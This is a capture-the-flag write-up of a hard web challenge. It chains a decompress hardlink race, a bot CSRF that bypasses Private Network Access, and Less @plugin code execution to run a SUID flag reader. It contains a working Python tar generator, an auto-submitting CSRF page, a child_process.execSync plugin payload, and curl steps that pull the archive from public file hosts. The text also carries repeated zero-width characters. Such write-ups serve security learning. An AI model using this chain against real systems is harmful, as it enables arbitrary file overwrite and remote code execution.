← Back to Writeups
HTBN/AWeb

Archonyx

XESXOR8/23/20267 min read
#web#htb#n/a#CVE-2026-53486

Archonyx

Platform: Cactf2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-28 | Status: Solved Techniques: hardlink_arbitrary_file_overwrite_via_promise_all_race, bot_csrf_via_top_level_form_navigation, pna_bypass_via_form_submission, less_local_plugin_rce, suid_binary_flag_read, deferred_validation_bypass

Summary

Task: Node.js Express app with decompress@4.2.1 archive extraction, Less CSS rendering, and a Puppeteer bot with SameSite-disabled cookies. Solution: CSRF the bot via top-level form navigation (bypassing PNA) to trigger archive extraction; exploit decompress hardlink race in Promise.all to overwrite db.json and theme.js; login as ledgermaster and trigger Less @plugin RCE to execute SUID readflag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: CACTF2026 | ID: 20260728_cactf2026_archonyx
  • Tags: race_condition, nodejs, express, suid, csrf, tar, puppeteer, decompress, hardlink, less, pna_bypass, promise_all
  • Indicators: decompress@4.2.1 pinned in package.json, download@8.0.0 with extract:true, Promise.all parallel entry extraction in decompress/index.js, fs.link with absolute linkname and no path validation for hardlinks, preventWritingThroughSymlink uses readlink which returns EINVAL for hardlinks
  • Source: 20260728_cactf2026_archonyx.md

Foothold

Vulnerability / Misconfiguration

  1. Hardlink_arbitrary_file_overwrite_via_promise_all_race
  2. Bot_csrf_via_top_level_form_navigation
  3. Pna_bypass_via_form_submission
  4. Less_local_plugin_rce
  5. Suid_binary_flag_read
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • hardlink_arbitrary_file_overwrite_via_promise_all_race
  • bot_csrf_via_top_level_form_navigation
  • pna_bypass_via_form_submission
  • less_local_plugin_rce
  • suid_binary_flag_read
  • deferred_validation_bypass
  • Tags: race_condition, nodejs, express, suid, csrf, tar, puppeteer, decompress, hardlink, less, pna_bypass, promise_all

Original Writeup

<details><summary>Click to expand original content</summary>

Description

House Veyr & Co. runs the convoy ledger the whole coast trusts — what's safe, what's late, which ports are worth the risk. It's a weapon. Quietly, with no armies, Veyr cooks the numbers: stalling Damas Marrowcairn's cargo, leaking his routes, clearing its own convoys first, until the coast writes him off as a man nobody wants to ship with. Break into the ledger, trace the false delays, and dig out the one convoy Veyr buried deep — the shipment that proves it all. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express web application ("convoy ledger") with user authentication, file upload/import functionality, a Less CSS template renderer for admin users, and a Puppeteer bot that visits reported URLs with elevated (warden) credentials. The flag is in /flag.txt (root-owned, mode 400), readable only via a SUID /readflag binary. The goal is to chain multiple vulnerabilities to achieve RCE and execute /readflag.

Analysis

Application architecture

The app is an Express server running on port 1337 inside a Docker container (node:20-slim). Key components: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • Authentication: JWT-based with roles (broker, warden, ledgermaster). Cookies are HttpOnly.
  • File import: POST /api/fetch accepts a URL, downloads the archive using download@8.0.0 (which internally uses decompress@4.2.1), and extracts it to a per-user directory. After extraction, validateExtractedFiles runs asynchronously via setImmediate() to delete non-image files.
  • Bot: POST /report (unauthenticated) triggers a Puppeteer bot that visits any HTTP/HTTPS URL. The bot sets a warden-role JWT cookie on http://127.0.0.1:1337. Chrome is launched with --disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure.
  • Less renderer: POST /ledgermaster/render (ledgermaster-only) calls less.render(css, {plugins: [templateSecurityPlugin]}). The security plugin only blocks remote URL imports, not local @plugin directives.
  • Flag access: /flag.txt is root:root mode 400. A SUID binary /readflag (chmod 4755) can read it. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Pinned vulnerable dependencies

From package.json:

  • decompress@4.2.1 — CVE-2026-53486 / GHSA-mp2f-45pm-3cg9: hardlink entries with absolute linkname are not validated
  • download@8.0.0 — passes extract:true to decompress
  • less@4.2.0 — local @plugin directive evaluates JavaScript files via new Function with Node.js require available

Vulnerability 1: decompress hardlink race via Promise.all

In decompress/index.js, all archive entries are processed in parallel via Promise.all(files.map(...)) (line 76). For each entry: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • type === 'link': calls fs.link(x.linkname, dest) — creates a hardlink to an absolute path. No validation is performed on linkname for hardlinks (unlike symlinks).
  • type === 'file': calls preventWritingThroughSymlink(dest) which uses fs.readlink(). For hardlinks, readlink returns EINVAL (not a symlink), so the check passes. Then fs.writeFile(dest, data) writes through the hardlink to the target inode.

With a single (link, file) pair for the same filename, the file entry's writeFile usually wins the parallel race (creating a plain file before fs.link runs, causing EEXIST). However, with many pairs (e.g., 120) using different filenames but all targeting the same file, at least one hardlink reliably wins its race. The corresponding file entry then writes through it, overwriting the target. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 2: Bot CSRF via top-level form navigation (PNA bypass)

Chrome's Private Network Access (PNA) blocks fetch() and XMLHttpRequest from public origins to loopback addresses. However, top-level form navigation (a <form> with action="http://127.0.0.1:1337/api/fetch" and method="POST") bypasses PNA entirely. Combined with --disable-features=SameSiteByDefaultCookies, the bot's warden JWT cookie is sent cross-site.

Vulnerability 3: Less @plugin local RCE

The TemplateResourcePolicy security plugin only intercepts filenames matching ^[a-z][a-z0-9+\-.]*:\/\//i (URLs with schemes). Local absolute paths like /app/public/theme.js are not blocked. Less 4.2.0's @plugin directive loads and evaluates local JavaScript files using new Function with Node.js require in scope, enabling arbitrary code execution. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 4: Deferred validation bypass

validateExtractedFiles runs via setImmediate() after the HTTP response is sent. It reads each extracted file, checks its MIME type, and deletes non-images. However, by the time it runs, the hardlink targets (/app/data/db.json, /app/public/theme.js) are already overwritten. Deleting the hardlink filenames in the extraction directory only removes those directory entries — the target inodes remain modified.

Solution

The exploit chains all four vulnerabilities in a single bot visit: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Build the exploit archive

A Python script generates a tar archive containing 120 (hardlink, file) pairs targeting /app/data/db.json and 120 pairs targeting /app/public/theme.js:

#!/usr/bin/env python3
"""Single-archive exploit: many link+file pairs for db.json and theme.js overwrite.
With 50+ pairs per target, the parallel Promise.all race in decompress reliably
has at least one link win before its file, enabling write-through-hardlink."""
import io, json, tarfile, sys

def add(tf, name, data, mode=0o644):
    i = tarfile.TarInfo(name); i.size = len(data); i.mode = mode
    tf.addfile(i, io.BytesIO(data))
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def link(tf, name, target):
    i = tarfile.TarInfo(name); i.type = tarfile.LNKTYPE; i.linkname = target; i.mode = 0o644
    tf.addfile(i)

def main():
    db_target = "/app/data/db.json"
    plugin_target = "/app/public/theme.js"
    out = "exploit.tar"
    command = "/readflag > /app/uploads/flag.txt"
    pairs = 80

    # Replacement db.json with known ledgermaster credentials
    db = json.dumps({"users": [{
        "username": "archon",
        "password": "$2b$10$.WXEcty7E24SR0AHXWtTEuKcYdAVkHc9iCNzEOJMaHtvNj6TIb9eG",
        "role": "ledgermaster",
        "verified": True,
        "apiKey": "archonyxkey",
        "drawsId": None,
    }], "convoys": []}, separators=(",", ":")).encode()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    # Less plugin that executes /readflag
    plugin = ("require('child_process').execSync(" + json.dumps(command) + ");"
              "module.exports={install:function(){},minVersion:[4,0,0]};").encode()

    with tarfile.open(out, "w", format=tarfile.GNU_FORMAT) as tf:
        # 80 pairs for db.json overwrite
        for i in range(pairs):
            link(tf, f"d{i:03d}.png", db_target)
            add(tf, f"d{i:03d}.png", db)
        # 80 pairs for theme.js overwrite
        for i in range(pairs):
            link(tf, f"p{i:03d}.js", plugin_target)
            add(tf, f"p{i:03d}.js", plugin)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Step 2: Host the archive and CSRF page

Upload exploit.tar to a temporary file host (e.g., uguu.se) reachable by the target server.

Create a CSRF HTML page that auto-submits a form POST to the target's /api/fetch endpoint:

<html><body>
<form id="f" method="POST" action="http://127.0.0.1:1337/api/fetch"
      enctype="application/x-www-form-urlencoded">
  <input name="url" value="https://a.uguu.se/XXXXX/exploit.tar">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Host this page on a public HTTPS host (e.g., litterbox.catbox.moe).

Step 3: Trigger the bot

curl -X POST "https://TARGET/report" \
  -d "body=test&url=https://litter.catbox.moe/XXXXX.html"

The bot navigates to the CSRF page, which auto-submits the form to http://127.0.0.1:1337/api/fetch with the warden JWT cookie. The server downloads and extracts the archive. The Promise.all race ensures at least one hardlink wins per target, and the corresponding file writes through it, overwriting /app/data/db.json and /app/public/theme.js. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Login as ledgermaster

curl -c cookies.txt -X POST "https://TARGET/enter" \
  -d "username=archon&password=archonyx-pass"

Step 5: Trigger Less @plugin RCE

curl -b cookies.txt -X POST "https://TARGET/ledgermaster/render" \
  -H "Content-Type: application/json" \
  -d '{"css":"@plugin \"/app/public/theme.js\";"}'

The overwritten theme.js executes: require('child_process').execSync("/readflag > /app/uploads/flag.txt"). The SUID /readflag binary reads /flag.txt and writes it to a publicly accessible location. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 6: Retrieve the flag

curl "https://TARGET/uploads/flag.txt"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR